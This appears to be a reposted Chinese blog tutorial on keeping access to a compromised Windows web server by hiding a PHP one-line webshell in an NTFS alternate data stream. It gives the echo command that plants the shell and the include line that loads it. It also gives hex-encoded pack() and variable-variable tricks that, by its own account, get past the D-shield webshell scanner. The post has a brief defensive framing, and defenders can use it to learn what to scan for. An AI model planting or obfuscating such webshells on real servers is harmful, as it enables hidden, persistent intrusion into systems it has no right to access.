【web端權限維持】利用ADS隱藏webshell


0X01 前言

  未知攻,焉知防,在web端如何做手腳維護自己拿到的權限呢?首先要面臨的是webshell查殺,那么通過利用ADS隱藏webshell,不失為一個好辦法。

0X02 利用ADS隱藏webshell

  關於ADS的介紹,就不再闡述,詳見尾部參考資料。

  PHP 一句話木馬:<?php @eval($_POST['chopper']);?>,當然也可以直接制作免殺PHP一句話,畢竟PHP千變萬化,從變量,數組,賦值,運算,函數等,各種變種。。。

       制作步驟一:創建ADS隱藏文件

       在服務器上echo一個數據流文件進去,比如index.php是網頁正常文件,我們可以這樣子搞:  

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

  這樣子就生成了一個不可見的shell hidden.jpg,常規的文件管理器、type命令,dir命令、del命令發現都找不出那個hidden.jpg的。   

       問題1:如何查看index.php:hidden.jpg內容呢?

  進入文件所在目錄,notepad index.php:hidden.jpg    或者 dir /r

  問題2:如何刪除index.php:hidden.jpg?

       直接刪除index.php即可

       制作步驟二:文件包含

  一個正常文件里把這個ADS文件include進去,<?php include(‘index.php:hidden.jpg’)?>,這樣子就可以正常解析我們的一句話了。

  但是卻非常容易被webshell查殺工具查到,看到可疑引用的文件名,分分鍾出局了。

  

 

  制作步驟三:如何繞過檢測

  這邊要解決的是include函數,如何讓它檢測不出來有可疑引用文件呢?

  在某次應急響應事件中,獲取到一段代碼,這里拿來改造一下。代碼如下:

<?php
@include(PACK('H*','xx'));
?>

  PHP pack() 函數 函數介紹:http://www.w3school.com.cn/php/func_misc_pack.asp

  將index.php:hidden.jpg進行hex編碼

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

  再次用D盾_web查殺進行掃描,還是被查到了。

  

  進一步利用PHP 可變變量進行二次轉換,最后得到繞過D盾掃描的姿勢如下:

<?php 
$a="696E6465782E7068703"."A68696464656E2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>

繞過D盾_web查殺如圖:

0X03 最后

  權限維持,也是一門很重要的課題,熟悉各種常見的后門技術,並懂得如何進行安全防御。

 

關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。

參考文章:

NTFS中的ADS的一些問題  https://www.i0day.com/733.html

一個用ADS(供選數據流)隱藏Windows后門的方法  http://www.freebuf.com/articles/73270.html

Windows中隱藏文件的捷徑---------NTFS文件流(ADS)  http://blog.csdn.net/c395565746c/article/details/5336260


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM